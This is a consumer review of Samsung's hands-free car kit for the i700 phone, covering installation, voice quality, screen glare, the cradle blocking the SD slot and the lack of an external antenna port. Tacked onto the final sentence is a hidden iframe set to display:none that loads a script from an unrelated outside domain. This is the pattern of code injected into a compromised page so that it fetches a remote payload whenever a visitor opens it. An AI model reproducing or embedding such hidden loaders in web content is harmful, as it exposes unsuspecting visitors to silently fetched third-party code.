Introduction

I have owned a hands-free car kit for just about every mobile phone I have ever owned. So when I saw on Samsung’s web site that they had one for my i700, I had to have it! These kits make mobile phone use much safer and in some state’s, are necessary by law if you want to use your phone while driving. I just got my new Hands-Free Car Kit installed a few days ago. I ordered it from the Samsung web site and got it in about 3 or 4 days. I paid $160 (after my registration discount) plus shipping. The kit retails for $199.99. I have been using the hands free kit for two days now and here are my observations.



What's in the Box
Samsung includes everything that you need except a mounting arm if one is needed. Everything is of very good quality. The i700 fits perfectly into the included cradle.

The Kit includes:

• Cradle
• Speaker
• External Microphone
• Cradle Mounting Bracket
• Control Box
• Power Wire Harness
• Installation Instructions

Usage

How it Works: The moment you drop the phone into the cradle you get the confirmation chime through the supplied speaker. The display also briefly pops up a small windows to say that the hands free feature is active. Also a small icon is displayed at the top of the i700 screen confirming that is in the hands free mode. When your phone rings it rings through the car kit speaker. You answer simply by pressing the phones talk button.

Voice Quality: This is where the car kit really shines! The quality of the speaker is incredible. The microphone is full duplex and uses noise and echo cancellation technology. It results in a very clear conversation. I was driving home from work and talking to my wife for over five minutes and she had now idea I was talking on the car kit until I told her.

Voice Signal: One of the best features is that you can use Voice Signal hands free. Simple press the button you programmed for Voice Signal to activate it then speak your commands. I found that when speaking Voice Signal commands with the car kit that I had to have a little more break in between words for it to interpret the commands correctly. Once I figured this our it worked very accurately. I did find however that speaking directly into the i700 microphone was slightly more accurate.

Speaker Quality: The speaker with this kit can be turned up very loud. Louder than any car kit that I have ever had.

Screen Glare Issues: Another thing that surprised me was that the screen gave of very little glare during the day while driving. It was very easy to adjust the angle of the cradle to eliminate it. Ignore the glare on the pictures in this article. You don’t see it when you are driving.

Screen Brightness: I was concerned with the visibility of the screen in daylight. I am happy to tell you that it wasn’t a problem at all. I tested setting it on Medium Bright and High Bright and it worked good with both settings. Super Bright would even be better. I tested this in the middle of a summer’s day in Utah with absolutely no clouds in the sky. It couldn’t have been a brighter day.

SD Card Slot Issues: If you need to ever remove or replace your SD car while it is in the cradle (which don’t suggest while you are driving) it can’t be done. The cradle is clearly blocking the SD slot. This would also pose a problem if you wanted to insert a GPS SDIO card to your i700 for driving instructions. You could perhaps cut away some of the plastic on the cradle if it was important to be able to do this. It shouldn’t affect the functionality of the cradle.

Missing Feature: One feature that is missing is an external antenna connection. The i700 appears to have a standard RF port on the back of the unit. The cradle on the hands-free kit does not have this connector (see above photo). This is a definite limitation especially of you travel in areas of weak signal. It would be great of someone could figure out a work around for this. I know a few forum members are looking into it.

Battery Charging: Of course I can’t fail to mention that the i700 recharges when placed in the cradle and the vehicles ignition is turned on.



Installation

I had it custom installed by a professional. A lot of you are a little more Techie than I am and could easily tackle it themselves. Not having to install an antenna eliminates a complicated step. Its simply a matter of finding a place up above your foot pedals for the speaker. You need to place the microphone on or near your A pillar or somewhere above your rearview mirror as to get close to the drivers voice. The computer module can be installed anywhere under the dash.

The biggest decision is where to mount the cradle itself. As you can see from the above photo I had mine mounted on an arm from my old Motorola car kit. A professional installer should have many different types of mounting arms in stock. Every automobile is different. One size does not fit all here. That is probably why Samsung didn’t include a mounting arm in its kit (as most other kits don’t either). If you already have a mounting arm installed for your current car kit it will probably work with this kit, if you don’t, your installer will probably charge you for the part.



Conclusion

Pros:

• Very good build quality
• Excellent microphone quality
• Convenient
• Voice Signal works hands free
• Very little glare
• Screen acceptably bright even during bright days
• Eliminates the need to purchase a car charger
• Adds an element of safety

Cons:

• No external antenna feature
• SD card slot is covered by the cradle
• As most mobile phone car kits it is a bit pricey

So far I like most everything about the car kit. It is well built and gives you true hands free operation when used in conjunction with Voice Signal. Microphone quality is second to none. With my last Motorola car kit the microphone quality was so bad that I only used the car kit as a very expensive charger. The biggest drawback is the lack of an external antenna, which could be a big issue if you are at fringe service areas a lot. So far I have not had that problem in the area that I use my phone. The SD card slot being covered is not a problem with me as I have a factory GPS system in my car. This problem may however be more important to others. All in all it is sure nice to have a secure home for my i700 in my car. I would definitely recommend.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>